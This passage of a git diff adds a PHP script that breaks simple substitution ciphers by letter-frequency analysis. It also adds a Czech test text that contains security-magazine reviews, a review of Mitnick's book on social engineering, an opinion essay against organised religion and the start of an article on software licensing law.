+ * It needs good language file (ex: one for technical another for medical language, etc...)
+ * For more see this: http://en.wikipedia.org/wiki/Frequency_analysis_(cryptanalysis)
+ *
+ * Known bugs: this can assign one letter to more crypted letters
+ */
+
+
+function freq_analyze($infile, $cereg = '[a-z ]') { //Make frequency fingerprint
+       $debug = 100;
+       $total = 0;
+       $in = fopen($infile, 'r');
+       while(!feof($in)) {
+               $c = strtolower(fgetc($in));
+               if(eregi($cereg, $c)) {
+                       if(!isset($data[$c])) $data[$c] = 0;
+                       $data[$c]++;
+                       $total++;
+               }
+       }
+       fclose($in);
+
+       //Compute percents
+       foreach($data as $c => $n) {
+               $data[$c] = ($n/$total)*100;
+               $debug -= $data[$c];
+       }
+
+       //echo("Debug: $debug\n"); //Debug
+       return($data);
+}
+
+function freq_compare($cipher, $language) { //Do analysis (from two fingerprints)
+       foreach($cipher as $c => $n) {
+               $min = 1024;
+               foreach($language as $dc => $dn) {
+                       $nmin = abs($n-$dn);
+                       //echo $nmin."\n"; //Debug
+                       if($nmin < $min) {
+                               $min = $nmin;
+                               $decrypted[$c] = $dc;
+                       }
+               }
+       }
+       
+       return($decrypted);
+}
+
+function freq_errors($decrypted) { //Test success (run with uncrypted cipher)
+       $errors = 0;
+       $total = 0;
+       foreach ($decrypted as $a => $b) {
+               if($a != $b) $errors++;
+               $total++;
+       }
+       $hits = $total - $errors;
+       $perc = round(($hits/$total)*100);
+       echo("$hits hits and $errors errors / $total total - that means, you are $perc% successfull\n");
+       return $errors;
+}
+
+///CODE//////////////////////////////////////////////////////////////////////////
+$czech = freq_analyze('czech.txt');
+//print_r($czech); //Debug
+$cipher = freq_analyze('cipher.txt');
+//print_r($cipher); //Debug
+
+$decrypted = freq_compare($cipher, $czech);
+freq_errors($decrypted);
+print_r($decrypted);
\ No newline at end of file
diff --git a/php/frekvencni_analyza/cipher.txt b/php/frekvencni_analyza/cipher.txt
new file mode 100644 (file)
index 0000000..5cdd3e1
--- /dev/null
@@ -0,0 +1,158 @@
+Hakin9 - 4/2007
+Autor: .cCuMiNn.
+
+obalka casopisu
+
+Mame zde zacatek prazdnin, a protoze to pro vetsinu z nas znamena i mnohem vice casu pro sve zaliby, neutekla zajiste nikomu z vas novinka, ze vyslo nove cislo naseho oblibeneho casopisu Hakin9.
+
+
+
+
+
+
+Obsah CD
+
+Jiz tradicne se muzete tesit na CD, ktere obsahuje live distribuci Aurox vydavanou pod nazvem Hakin9 live a mnozstvi zajimavych aplikaci, tutorialu a navodu v elektronicke podobe. Za zminku stoji tentokrat tyto aplikace:
+
+SecrecyKeeper by Smart Protection Labs - aplikace umoznujici ridit pristup k jednotlivym souborum na stanicich a serverech na zaklade pristupovych prav, ktera maji jednotlivi uzivatele. O vsech pristupech k informacim jsou vedeny podrobne protokoly. Verzi, kterou na CD nalenete, lze pouzivat po dobu jednoho roku peti agenty.
+AES Password Manager - pokud si kladete otazku, jak na pocitaci bezpecne uchovavat sva pristupova hesla k ruznym sluzbam, cisla kreditnich karet a jejich PINy, pak by se tento program pro vas mohl stat tim spravnym resenim. Aplikace chrani tyto citlive informace 256bitovym AES sifrovanim a umoznuje napriklad jejich vkladani do webovych formularu.
+Event Log Manager - program rozsirujici moznosti klasickeho prohlizece udalosti, ktery je dostupny v systemech Windows. Jednotlive zaznamy je mimojine mozne velice jednoduse radit, tridit, prohlizet ci mazat.
+IisKeeper - 99denni trial verze programu, ktery vam umozni chranit pristup k nekterym zdrojum na IIS webovem serveru bez nutnosti zakladani novych uzivtelskych uctu.
+Norman Virus Control Plus - antivirus obsahujici funkce SandBoxu a vsechno, co lze od dobreho antiviroveho programu ocekavat. Na CD naleznete i verzi pro operacni systemy Windows Vista.
+Licence protektor - aplikace umoznujici ochranu multimedialnich souboru pred neopravnenych kopirovanim. Soubory jsou zasifrovany a pro jejich prezentaci se pouziva prehravac, ktery je soucasti tohoto baliku.
+Obsah tisteneho casopisu
+
+Po te, co bychom za sebou meli strucny popis obsahu CD, muzeme spolecne nahlednout do stranek tisteneho casopisu. Tam na ctenare tentokrat cekaji clanky:
+
+Netrivialni uvod do vyzkumu malware - obsah tohoto clanku ctenarum priblizuje postupy, ktere se pouzivaji pri zkoumani skodlivych kodu zvanych malware. Predstaveny jsou nam nastroje, ktere se pri teto cinnosti vyuzivaji a strucne jsou popsany i ruzne triky, ktere soucasny malware vyuziva.
+Slabiny elektronickeho bankovnictvi - v tomto clanku predstavuji jeho autori ctenarum nejrozsirenejsi kanaly elektronickeho bankovnictvi a poukazuji na slabiny kazdeho z nich.
+Skutecny pribeh o celem prubehu jednech penetracnich testu - tento nazev nese clanek, ktery popisuje cinnosti pri penetracnich testech od sameho zacatku po konecnou zpravu. Ctenari se dozvi, jak mohou tyto testy probihat a jake nastroje jsou behem testu pouzity.
+Prehled vybranych metod na ruseni omezeni v lokalnich sitich - v tomto clanku s mirne nepruhlednym nazvem se muzete docist o metodach, jejichz vyuzitim se daji obchazet omezeni, ktera do cesty uzivatelum kladou administratori site. Doctete o tunelovani sitoveho provozu na otevrenych portech nebo za vyuziti protokolu, ktere byly puvodne urceny k jinemu vyuziti.
+Pokrocile overovani pristupu k Oracle - clanek pojednava o systemu Kerberos a o tom, jak lze pomoci aplikaci tretich stran zajistit bezpecnost pri pristupu k databazovemu serveru Oracle.
+Znepristupneni zdrojoveho programoveho kodu - patrite-li mezi programatory, kteri by radi ukryli sve zdrojove kody pred nenechavym pohledem verejnosti a tak zamezili nebo alespon ztizili dekompilaci vasich binarek, pak je tento clanek urcen prave vam. Autor clanku predstavuje ruzne aplikace, ktere lze nasadit pri zatemnovani kodu, nebo pro jeho komprimaci.
+DNS inSECure - clanek venujici se zranitelnostem systemu DNS a jeho rozsireni DNSSEC, ktere lze pro zvyseni bezpecnosti pouzit.
+Overovani a autorizace v ASP.NET 2.0 - clanek pojednavajici o nejpopularnejsim zpusobu overovani uzivatelu na portalech ASP.NET a ukazuje cesty jak prejit z manualniho na plne automatizovane formy overovani a autorizace uzivatelu.
+
+Na zaver ceka na ctenare jeste rozhovor s Janem Hlavacem, tiskovym mluvcim BSA pro Ceskou republiku, recenze knih Hacking bez zahad a Hacking - Buffer overflow a fejeton Libora Dostalka - Jak jsem prisel o GSMbanking.
+
+Ac v zaveru sve recenze na jednotliva cisla casopisu Hakin9 pravidelne jeho obsah chvalim a minule jsem se dokonce rozplyval nad tim, ze jeho kvalita neustale roste, dnes tomu bude jinak. Obsah tohoto cisla mi pripadal velice povrchni a prosty. Autori jednotlivych clanku nezabihali do detailu a texty tak ztraceji informacni bohatstvi, na ktere jsme v tomto casopise zvykli. Doufejme, ze jde jen o okurkovou sezonu a jiz v pristim cisle na nas bude opet cekat spousta zajimaveho cteni.
+
+Hakin9 - 3/2007
+Autor: .cCuMiNn.
+
+obalka casopisu
+
+Cekani na nove cislo casopisu Hakin9 mi tentokrat pripadalo jako nekonecne. Kveten je ale jiz tady a s nim i treti cislo casopisu Hakin9 v roce 2007. Hned po rychlem preletnuti obsahu bylo zrejme, ze se dlouhe cekani vyplatilo. Nejde totiz o cislo jen tak ledajake, ale o nadupane (pekne od zacatku az do konce) samymi informacnimi skvosty. Mou milou povinnosti jako vzdy je, vam tento zajimavy obsah trochu priblizit.
+
+
+Obsah CD
+
+Jak uz je mym zvykem, zacnu obsahem CD. To obsahuje live distribuci linuxu s nazvem Hakin9 live, ktera je zalozena na Auroxu a mnozstvi uzitecnych utilit, tutorialu a textu. Za zminku stoji napriklad tutorial Metasploit - Exploiting framework a tyto programy:
+
+Ashampoo AntispyWare - program urceny pro Windows2000/XP, ktery ochrani vas pocitac pred vice nez 410.000 injekcemi. Jde o kompletni anti-malware aplikaci, ktera je schopna vyhledat a znicit nejenom viry, wormy, trojany, spyware, adware, ale i ruzne rootkity.
+
+Intelli HyperSpeed 2005 - i tento program je urcen pro pocitace s operacnim systemem Windows. Tato aplikace je pomaha rychlostne optimalizovat podle pozadavku na jejich vyuziti, pricemz vzdy nabizi krok zpet pro pripad, ze nam nebudou provedene upravy zcela vyhovovat.
+
+A-squared Anti-Malware - aplikace, ktera se snazi zaplnit mezeru v oblasti zabezpeceni osobniho pocitace pred skodlivym software. Program je jakymsi IDS, ktery bezi na pozadi a monitoruje vsechny spustene procesy, aby vyloucil pritomnost ruzneho malware.
+
+Comodo Personal Firewall - firewall dostupny zdarma pro domaci pouziti, ktery vam umozni ziskat plnou kontrolu nad vytizenim vasi site jednotlivymi programy. Plna konfigurovatelnost je u produktu podobneho typu samozrejmosti.
+
+NetConceal AntiHistory - program pro Windows, ktery velice jednoduchym zpusobem dokaze zahladit stopy o pritomnosti uzivatele u PC. Aplikace se postara o smazani seznamu navstivenych stranek, otevrenych souboru, apd.
+Obsah tisteneho casopisu
+
+Pote, co jsme si predstavili obsah CD, se konecne dostavam k jadru teto recenze, kterym je obsah tisteneho casopisu Hakin9.
+
+Po par uvodnich stranach, ktere vas seznami s novinkami ze sveta bezpecnosti, nas jako prvni privita clanek Jacka Matulewskiho: Hacky ve Windows. Ten podrobne rozebira zachytavani zprav pod operacnim systemem Windows a naznacuje moznosti vyuziti. Dozvite se napriklad, jak hookovat klavesnici a jak si diky tomu muzete vytvorit svuj vlastni softwarovy keylogger.
+
+Nasleduje clanek Metasploit - Exploiting framework od Michala Merty, ktery vam priblizi novou treti verzi programu Metasploit Framework. Jde o znamy produkt, ktery je urcen pro tvorbu, ladeni a spravu exploitu.
+
+Ve clanku Neviditelne backdoory od Michala Styse se dozvite, jak ukryt svuj backdoor tak, aby nebyl odhalen spravcem systemu. Pomoci rozvinutych technik jej skryjete i pred vsekontrolujicim firewallem.
+
+Obrana databaze Oracle za pomoci pokrocilych bezpecnostnich opatreni je nazev dalsiho clanku. Jak jiz samotny nazev napovida, pujde v nem o databazi Oracle a jeji obranu. Autor clanku Mikolas Pansky v nem pojednava o autentizaci, autorizaci a bezpecnostnich konceptech databaze. Uvadi problematiku pouziti Oracle Advanced Security a mnoho dalsiho.
+
+Ve stejny den, kdy se ukazala prvni verejna verze weboveho prohlizece Internet Explorer 7, se rozpoutala diskuze na tema jeho bezpecnosti. IE7 obsahuje mnoho novych fukci, ktere maji uzivateli zajistit nekolikanasobne vetsi bezpeci nez tomu bylo u predchozi verze. Ktere funkce to jsou, vam priblizi Artur Zarski ve svem clanku Bezpecnost Internet Exploreru 7.
+
+Bezpecnost kont PHP je znacne obsahly clanek o zranitelnostech v PHP, na ktere spravci systemu velmi casto zapominaji. Autor Pawel Maziarz vam za pomoci nazornych prikladu ukaze moznosti zneuziti nekolika ruznych funkci php, ktere mohou vest k plnemu ovladnuti ciziho php konta.
+
+Text Zabezpeceni WWW sluzeb ve Windows Loghorn Server vam predstavi nejnovejsi verzi operacniho systemu Windows Server, ktera je aktualne vedena pod nazvem Loghorn. Na trhu by se mel tento system objevit v listopadu tohoto roku, ale vy se na nej muzete spolecne s autorem clanku podivat jiz nyni.
+
+Co mit na pameti pri vytvareni vlastni webove sluzby a jak se vyhnout nejbeznejsim bezpecnostnim problemum, se doctete ve clanku Web Services Security.
+
+Zajima vas, jak zajistit sifrovani jiz na urovni aplikaci a ne az pri sitovem prenosu? Pokud ano, pak je prave vam urcen clanek Pawla Maziarze o Sifrovani v aplikacich - knihovna Openssl.
+
+Francesco Arruzzoli vam ve clanku Steganografie - umeni okultniho pisma predstavi steganografii tak, jak ji mozna jeste neznate. Pokud vas nekdy zajimalo, jak lze ukryt informace do obrazku, zvuku, videa nebo filesystemu, nemel by vam tento clanek uniknout.
+
+Kvetnove cislo uzavira fejeton Libora Dostalka, prekladatele knihy Hacking bez tajemstvi, v nemz se zaobira otazkou zajmu o hacking a co si lide pod timto pojmem predstavuji.
+
+Sami vidite, ze je toto cislo opravdu plne zajimavosti. Osobne bych rekl, ze se mnozstvi a uroven clanku stale zlepsuje, protoze to ale muze byt pouze muj subjektivni nazor, necham posouzeni na kazdem z vas...
+
+Umeni klamu
+Autor: .cCuMiNn.
+
+Kevin Mitnick
+Kazdy zije svuj vlastni zivot. Nekdo venuje svuj volny cas sportu, jiny zabave. Nekdo pojida chipsy, jiny cokoladu. Jedno vsak mame spolecne. Vsichni vytvarime odpad, kterym chte nechte plnime odpadkove kose ve svych domacnostech. Protoze vsak nadoby na odpadky nejsou bezedne, nezbyva nam, nez je jednou za cas vynest do kontejneru, odkud je pracovnici technickych sluzeb odvezou do spalovny. Urcite se vam take nekdy stalo, ze jste se u kontejneru na komunalni odpad potkali s clovekem, ktery se s hulkou v ruce pohrabava obsahem kontejneru a hleda neco zajimaveho. Bydlite-li blizko budov, v nich jsou kancelare a obchodni sidla firem, mohlo by se vam stat, ze byste krome ruznych postav bez domova potkali v techto spinavych a pachnoucich mistech i jej.
+
+Jeho stredne vysoka, stihla postava by se hrbila v zari mesice nad hromadkou pomackanych papiru. Delsi kastanove vlasy by zakryvaly vyhled jeho velkym, tmave hnedym ocim, ktere by se s dychtivosti snazily nalezt mezi bezcennymi odpadky nejakou stopu. Videli byste, jak se zajmem sklada mozaiky z roztrhanych archu a jak jeho hbite ruce zalovi sem tam v kapsach dlouheho tmaveho kabatu s kapuci, aby neco zapsaly do poznamkoveho blocku, ktery se v nem skryva.
+
+Narazit na nej v techto mistech, urcite byste se lekli. Kdybyste ho vsak chvili pozorovali, pripadal by vam smesny. "Mladik", rekli byste si. Vypada tak na 20let a nebyt tak spinavy, jiste by to byl hoch k pokukani. Co tu dela? Nema snad domov? Ale ano, ma. Dokonce jen par bloku odtud. Je to Kevin Mitnick, ktery sem prisel, stejne jako kazdy den v tomto tydnu, na lov informaci. Rika tomu trashing. Je to jedna z veci, ktera patri mezi jeho konicky. Hleda zde na dokumentech vyhozenych z kancelari jakekoliv duverne informace, ktere neprosly skartovackou. Divili byste se, na jake informace zde nejednou narazi. Seznamy se jmeny zamestnancu, telefonni cisla a funkce osob. Obcas dokonce nejake to rodne cislo, ci cislo zdravotniho pojisteni. Asi vas napadne otazka: "Proc? Proc to dela? Co z toho ma?"
+
+Kevin je sociotechnik. Mezi jeho konicky patri vypocetni technika a jednani s lidmi. Vyziva se v dlouhych telefonnich hovorech, v nichz se vydava za nekoho jineho. Nekoho, jehoz jmeno objevil napsane na formularich mezi odpadky. Snazi se tak z cloveka na druhem konci dratu vylakat dalsi duverne informace, ktere by mu pomohli v jeho ceste k cili. Neni tak pro nej problem vylakat z lidi pristupova hesla do pocitacove site nebo dokonce cisla kreditnich karet jakekoliv osoby na kterou jen pomysli. Nekdy si dokonce oblekne krasny drahy oblek, uvaze si kravatu a s kufrikem v ruce vyrazi primo do vytypovane firmy. Na vratnici predlozi falesny prukaz, ktery si predem vytvoril. Jakmile se jednou ocitne v budove firmy, nic jiz pred nim neudrzi informace v bezpeci. Z kufriku vytahne notebook a pripoji jej do zasuvky s ethernetem. Stahne si soubor s hesly a nahraje na server program, ktery mu pozdeji umozni pripojit se do pocitacove site firmy zvenci. S peknym rozloucenim pak opusti budovu.
+
+Kevin je velice charismaticky, inteligentni a vzdelany clovek, ktery presne vi, co chce. Jeho talent v jednani s lidmi by mu mohl zavidet kazdy psycholog. Vzdyt se mu vzdy podari dostat lidi presne tam, kde je chce mit, pricemz nikdy neztraci hlavu. Kazdou akci si dopredu bezchybne naplanuje a bez mrknuti oka i chladne provede. Miluje tu atmosferu, ktera mu vhani adrenalin do zil. Je v tom proste dobry. Nekteri dokonce tvrdi, ze je nejvetsi hacker vsech dob.
+
+O knize
+Pokud vas zaujali predchozi odstavce, pak byste si urcite nemeli nechat ujit knihu Umeni klamu, ve ktere sve skutky popsal sam Kevin Mitnick. Kniha je jakousi ucebnici socialniho inzenyrstvi. Je plna praktickych prikladu, na nichz autor ukazuje slabiny lidi a jejich zranitelnosti. Na druhou stranu nam touto knihou dava do ruky klic k porozumeni sociologum a jimi pouzivanym praktikam. Naucite se zakladni principy odhaleni podvodu tak, abyste byli schopni jej rozeznat a ubranit se mu.
+
+Mekkou nebo tvrdou drogu?
+
+Toto zari bylo pro meho syna jednim z mezniku v jeho zivote. Nastupoval totiz povinnou skolni dochazku a ja pochopitelne absolvoval jeho prvni skolni den s nim. Po krasne reci, kterou tridni ucitelka vitala ve sve tride prvnacky, se otevrely dvere a do tridy vesel pan obleceny do habitu s kolarkem kolem krku. Pritomne deti taktez privital, lec rec zrucne balil do perinek slozenych ze slov laska, buh a odpusteni. Doporucil prvnackum hodiny krestanske vychovy, a otevrene dvere domu pane. Dale nabidl svou malickost, ktera na ne v tento vyjimecny den pocka prede dvermi ucebny, kde bude ocekavat jejich dotazy a prihlasky.
+
+Nemohl jsem se ubranit pocitu, ze prede mnou stoji drogovy diler, ktery chce meho syna udelat zavislym na „droze“ se jmenem nabozenstvi. Tato „droga“ jiz dokazala zlomit nejednoho dospeleho a zivot tohoto maleho clovicka by v budoucnu mohla naprosto rozdrtit. Kdyz jsme pak opousteli tridu, pan kazatel stal ihned vedle dveri. Stejne jako ruzne existence, o nichz slychavame, ze chteji nevinne deti po odchodu ze skoly nalakat s nekalym umyslem. Sveho syna jsem radeji vedl tak, abych mu zakryval vyhled na tohoto cloveka.
+
+Myslim si, ze je na case, abych si se synem promluvil a podobne jako varuje vetsina rodicu sve deti pred nasledky uzivani drog, mu vysvetlil, co by se mohlo stat, pokud by se nechal podobnym clovekem zlakat.
+
+Co bych mu rekl? Proc si myslim, ze je nabozenstvi tak nebezpecne? V podstate nejde ani tak o nabozenstvi, jako spise o samotnou cirkev, ktera ve jmenu nabozenstvi vystupuje. Od dob kdy na Zemi prisel Kristus, aby vsem lidem ukazal, ze je mozne prozit zivot bez hrichu, se mnohe zmenilo. Kristus sam byl chudym clovekem. Trapil ho hlad a casto nemel ani kam hlavu slozit. Na rozdil od nej je katolicka cirkev nejbohatsi a nejvlivnejsi mocnosti sveta. Jak se to stalo? Kde cirkev ke vsemu tomuto majetku prisla? Vse zacalo uz ve stredoveku. V dobe, kdy se propletly koreny cirkve se zajmy statu a krestane jiz nemuseli svou viru tajit. Pod zastitou viry ziskali v dobe inkvizice nevidanou moc a nashromazdili znacny majetek. Skutecnost, ze se knezi nesmi zenit, aby mohli vsechny sve myslenky venovat bohu, svadi po zamysleni k dojmu, ze pravda lezi nekde jinde. Vstoupi-li do cirkve novy knez, je skrytym cilem cirkve jej pripravit o majetek. Pokud tento knez zemre, neni nikdo, kdo by po nem mohl dedit. Svuj majetek uz ale cirkvi stejne davno takto zfanatizovany clovek odkazal. Kdyby vsak ne a mel tento knez zenu a deti, ktere by po nem dedily, nemohla by tak cirkev prichazet k novym statkum a teoreticky by tak mohl cirkevni majetek dokonce mizet v nenavratnu. Katolicka cirkev dnes jiz nastesti neni jedinou krestanskou cirkvi. Objevilo se spousty lidi, kteri ac byly verici, zacali poukazovat na nespravny vyklad Bible a prekrucovani zcela jasnych faktu. Vezmeme-li napriklad desatero, nedodrzuje katolicka cirkev snad ani polovinu jednotlivych prikazani. Jednim z prikazani je zakaz zpodobnovat boha. V kazdem kostele vsak najdeme Krista na krizi a vyobrazeni nespocetneho mnozstvi svatych. Neznam zadneho z vericich, ktery by obcas nerekl slova jako „Kriste pane“ nebo „pane Boze“, cimz porusuji druhe z prikazani. Uctivani boha sedmy den, bylo cirkvi take davno prekrouceno, kdyz se sedmym dnem stala nedele namisto soboty. O prikazanich: „Nezabijes“, „Nepokrades“, a dalsich., nema po inkvizici snad ani cenu hovorit. V cele historii nezemrelo nikdy vice lidi nez ve jmenu viry. Kvuli vire vzplanula vetsina valek a potycek mezi lidmi. Lide, kteri poukazovali na spatny vyklad Bible, proto zalozili cirkve nove. Patri mezi ne Svedci Jehovovi, Adventisti sedmeho dne, Husitsko bratrska cirkev a mnoho dalsich. Vetsina techto cirkvi jde vsak dnes za moci a majetkem stejne, jako to drive delala cirkev katolicka. V dnesnim demokratickem svete to vsak jiz nema tak jednoduche. Musi se uchylovat k humanejsim zpusobum a sve obeti tak vytvari z dobrovolniku, ktere do cirkve vstoupi. Samotnych dobrovolniku by ovsem bylo malo a casto tak u nasich dveri zazvoni pekne obleceny par mladych lidi, kteri se snazi nalakat nas do sparu prave te jeho viry. Pokud clovek podlehne, necha se zviklat a vstoupi, zacne jej cirkev pretvaret k obrazu svemu. Styl, ktery cirkve pro vychovu jedince voli, bych prirovnal k „vymyvani mozku“. „Spravne vychovany“ clovek pak pravidelne odvadi desatky, stara se o lov novych dusi a casto v dobre vire prenecha teto cirkvi i cely svuj majetek. Jedinec, ktery chce z cirkve vystoupit, to ovsem nema tak jednoduche. Je svymi druhy premlouvan a presvedcovan. Je na nej kladen psychicky natlak a dobrovolny odchod mu nebyva umoznen.
+
+Pokud jde o beznou cirkev, nezbyva mi, nez ji prirovnat k mekkym drogam. Ma-li clovek silnou vuli, muze casto svuj dosavadni postoj zmenit i navzdory prekazkam, ktere mu neduhy teto zavislosti staveji do cesty. Po boku cirkvi vsak jdou jeste sekty. Jedna se v podstate o totez. Rozdil je jen ten, ze jejich vira se ubira jinym smerem. Maji sve vlastni metody a clovek, ktery je jejich chapadly pohlcen, v nich casto najde i svou smrt. Zfanatizovani lide zavisli na teto tvrde droze casto nemaji moznost uniku.
+
+Nezbyva mi, nez se zamyslet nad tim, kam jsme to dopracovali. Drogovy dileri dnes mohou beztrestne nabizet sve zbozi prvnackum pred zraky rodicu i vyucujicich a svuj rozhovor se synem bych ukoncit slovy: „Chces-li byt vericim, klidne jim bud. Nevidim ale duvod, proc se nechat ovlivnovat nekym druhym. Muzes se treba rozhodnout studovat nabozenstvi. Knih na toto tema je vsude dostatek a nabozenstvi samo o sobe z tebe muze dokonce udelat lepsiho cloveka. Proc vsak zacit uzivat drogy, ktere te zaslepi a ohlusi? Drogy, ktere ti budou naseptavat jen tu svou pravdu. Pravdu, nad kterou kdyz se zamyslis, zustane ti rozum stat. Tak co? Rozumis mi?“
+
+
+
+
+
+Legalita software a softwarovy audit (1)
+Autor: .cCuMiNn.
+
+Ackoliv nemam serialy prilis v lasce, protoze si jen zridka udrzim chut k jejich dopsani az do zaverecneho dilu, je tema legality softwaru a softwaroveho auditu natolik obsahle, ze se rozdeleni clanku do nekolika dilu stalo nezbytnosti. Slibuji, ze se tentokrat pokusim dotahnout serial az do konce.
+Autorsky zakon a licencni smlouvy
+
+Abychom spravne pochopili vse okolo legality softwaru, zacneme pekne od zacatku, to je od nasich zakonu. O zakonu, ktery vse zastresuje jste jiz urcite slyseli. Jedna se o autorsky zakon, ktery autorum dila a uzvatelum prisuzuje jista prava a povinnosti. Autorsky zakon je napsan velmi vseobecne, aby podchytil co nejvetsi okruh autorskych del. Z tohoto duvodu se muze zdat, ze je tento zakon ponekud povrchni. Co se primo softwaru tyce, najdeme v tomto zakone jen par paragrafu, ktere se mu primo venuji. Naopak velmi casto v nem muzeme narazit na slova "neni-li uvedeno jinak". Jak si mame tato slova vykladat a kde najdeme to zminovane "uvedeno jinak"? Tato slova vyjadruji vlaste licencni smlouvu, kterou uzavira uzivatel software s jeho autorem. Licencni ujednani musi byt uzivateli pristupne jeste drive, nez dojde k nainstalovani softwaru a jeho autor si muze do teto smlouvy vlozit cokoliv. Licencni smlouva, jako jedna z mala, nemusi byt opatrena podpisem smluvnich stran a pokud pri instalaci softwaru tuto smlouvu prijmete, jste timto licencnim ujednanim vazani. Je dokonce jedno, v jakem jazyce je licencni smlouva sepsana. Pokud danemu jazyku (muze jim byt napriklad cinstina) nerozumite, je na vas, abyste si zajistili jeji preklad.
+
+Z pohledu autorskeho zakona jsou pocitacove programy chapany jako literarni dilo a jejich koupi si kupujeme pouze nosic a manual. Predmetem koupe jsou pouze hmotne veci a samozrejme pravo uzivat software za podminek stanovenych licencni smlouvou.
+
+Kdyz uz jsem zminil, ze autor muze v licencnim ujednani uvest opravdu cokoliv, musim se zminit i o tom, ze nektere z techto bodu mohou napriklad zasahovat do minima opravneni, odporovat autorskemu zakonu, nebo jinym zakonum Ceske republiky, i kdyz v jine zemi zakonum odporovat nemusi. V takovem pripade je licencni smlouva neplatna pouze v tomto bode. V ostatnich bodech pak zustava platna. U nekterych typu licencnich smluv mohou ale nastat i takove pripady, kdy dojde ke zneplatnenismlouvy cele.
+
+Licencnim smlouvam se podrobneji venuje napriklad 6.dil autorskeho zakona, konkretne §46-§57. Licencni smlouvy mivaji ruzna zneni a casto byvaji sepsany dosti obsahle a nesrozumintelne. Presto vyrazne doporucuji jejich precteni pred odsouhlasenim. Ve smlouve najdeme napriklad informace, za jakych podminek muzeme dany software pouzivat. Zda jde o komercni software, o shareware, freeware nebo freeware pro nekomercni pouziti. Pozor si dejte na pripady, kdy je znam autor software, ale u samotneho programu neni uvedena zadna licencni smlouva. Autorsky zakon v §46/1 totiz prisuzuje autoru dila pravo na odmenu a i kdyz uklada povinnost informaci o odmene v licencni smlouve uvadet, muze dojit k pripadu podle §49/2a. Pokud vas bude autor za pouziti dila zalovat nebo pokud bude osloven policii po pripadnem zasahu, aby vycislil svou skodu, muze dojit k tomu, ze po vas bude pozadovat za pouziti sveho dila odmenu. Pokud se jedna o freeware pro nekomercni pouziti, pak takovy software nesmi byt bez splneni licencnich podminek pouzivan na firemnich pocitacich a to ani v pripade, kdy si jej zamestnanec nainstaloval pro sve soukrome pouziti. Jednou se jedna o firemni pocitac a jako takovy je bran. Vyjimky neexistuji.
+
+Zatim jsem se jeste zapomnel zminit o tom, komu autorska prava nalezi. Autorska prava nalezi autoru dila (tj. konkretni fyzicke osobe) a ten se techto prav podle §11/4 nemuze nijak vzdat. Jednim z techto prav je napriklad to, ze ma autor dila pravo na to, aby bylo dilo oznaceno jeho jmenem. To plati i v pripade, kdy dilo vyvyji napriklad v zamestnaneckem pomeru pro firmu, nebo zak pri praci na skolnim dile. Pravo uvedeni jmena autora proste plati ve vsech pripadech. Pokud autor skutecne nestoji o publicitu a s autorstvim dila nechce mit nic spolecneho, muze udelat pouze to, ze dilo uverejni anonymne bez uvedeni sveho jmena. Pokud vas zajimaji podrobnosti o vytvareni del ve skolach nebo v zamestnaneckem pomeru, pak vas take odkazi na autorsky zakon, ve kterem na sve otazky naleznete odpoved.
+Vyjimka pro osobni pouziti
+
+Kdyz uz se bavime o autorskem zakone, je dulezite zminit take §30, ktery umoznuje vytvoreni rozmnozeniny a uziti del s vyjimkou pocitacovych programu a databazi, pro osobni uziti. Z tohoto paragrafu proto vyplyva, ze muzete vlastnit a mit na nosicich nebo v pocitaci ulozeno nepreberne mnozstvi hudebnich nahravek, filmu, knih v elektronicke podobe, fotek a cehokoliv dalsiho, pokud se nebude jednat o programy nebo databaze. Nekomu by mohlo pripadat divne, ze vam nekdo dava neco zadarmo. Nenechte se vsak plest. Autori del maji podle §25 narok na odmenu za uziti dila pro osobni potrebu a tuto odmenu ziskavaji z prodeje pristroju pro tvorbu rozmnozenin a z prodeje prazdnych nosicu.
+BSA
+O teto organizaci jste jiz urcite take slyseli. V mnoha lidech vyvolava nazev teto organizace dojem, ze jde o jakousi softwarovou polici, ktera k vam muze kdykoliv vtrhnout do domu nebo do firmy a provest kontrolu legality softwaru na vasich pocitacich. Skutecnost je vsak jina. Jde o organizaci, ktera byla zalozena softwarovymi firmami, aby je zastupovala v soudnich rizenich pri pouzivani jejich nelegalniho softwaru. Pro zminene firmy je totiz daleko jednoduzsi pokud se s pachateli soudi spolecne, nez kdyby se kazda ze spolecnosti musela soudit sama. Ve vetsine zemi funguje tato spolecnost pouze jako pravni kancelar. U nas se jedna o advokatni kancelar Vobornik - Nigrini, ktera se specializuje na autorske pravo a na internetu ji najdeme na strance www.bsa.cz. BSA navic plni funkci osvety a prevence, kdy upozornuje predevsim firmy na rizika spojena s pouzivanim nelegalniho softwaru. Tou nejznamejsi funkci, kterou BSA zastava vsak zustava podavani trestnich oznameni pri podezreni z pouzivani nelegalniho software a neprilis oblibeny prijem anonymnich udani. Na sdruzeni BSA se totiz muze obratit kdokoliv, kdo ma podezreni nebo dukazy, ze k pouzivani nelegalniho software dochazi. Casto jsou timto zpusobem reseny konkurencni boje mezi spolecnostmi, prevazne z rad projektantu a architektu, kteri ke sve praci potrebuji ne zrovna levny software a proto casto pouzivaji jeho nelegalni kopie. Na tomto miste jeste zminim cesty, kterymi se autor muze domahat svych prav. Pokud se chce autor dila soudit se softwarovym piratem, muze jit budto do civilniho sporu, kde musi zajistit veskere dukazy a vynalozit spousty financnich prostredku, nebo muze podat trestni oznameni a s obvinenym se potom na sve naklady soudi stat. Je zrejme, ze trestni rizeni je pro poskozene autory daleko vyhodnejsi a proto se ve vetsine pripadu uchyluji prave k nemu. V trestnim zakoniku existuji totiz §150 a §151, ktere pokladaji porusovani autorsych prav za trestny cin.
+
+Kdyz uz dojde k policejnimu zasahu
+
+K policejnimu zasahu dochazi ve chvili, kdy je podano trestni oznameni. To muze podat kdokoliv, ale nejcasteji jej podava prave BSA po obdrzenem udani nebo pri podezreni na trestou cinnost. Ve vetsine pripadu se jedna o zasah kontrolujici legalnost softwaru ve firmach. Na domaci uzivatele dochazi jen zridka. Kdyz uz je zahajeno rizeni s domacim uzivatelem, jedna se hlavne o softwarove piraty, kteri svuj nelegalni bussiness rozjeli ve velkem. Zasahovat muze pouze policie CR a to pouze pokud je vybavena soudnim povolenim. Zasah nemuze provadet mestka policie, ci jine organy. K provedeni policeni kontroly je potreba tolika policistu, kolik je ve firme pocitacu. Kazdy policista okamzite odpoji pocitac od site (az na vyjimky si to nespletou s elektrorozvodnou siti :) a zacne pomoci specializovaneho programu schromazdovat informace o tom, jaky software je na pocitaci nainstalovan. V urcitych pripadech, kdy neni mozna kontrola na miste, muze byt pocitac odvezen do kriminalistickeho ustavu. Z vyse uvedeneho duvodu se nemusi prilis bat policejniho zasahu velke firmy, ve kterych se nachazi stovky pocitacu. Nejsnadnejsim tercem se stavaji firmy o cca dvaceti 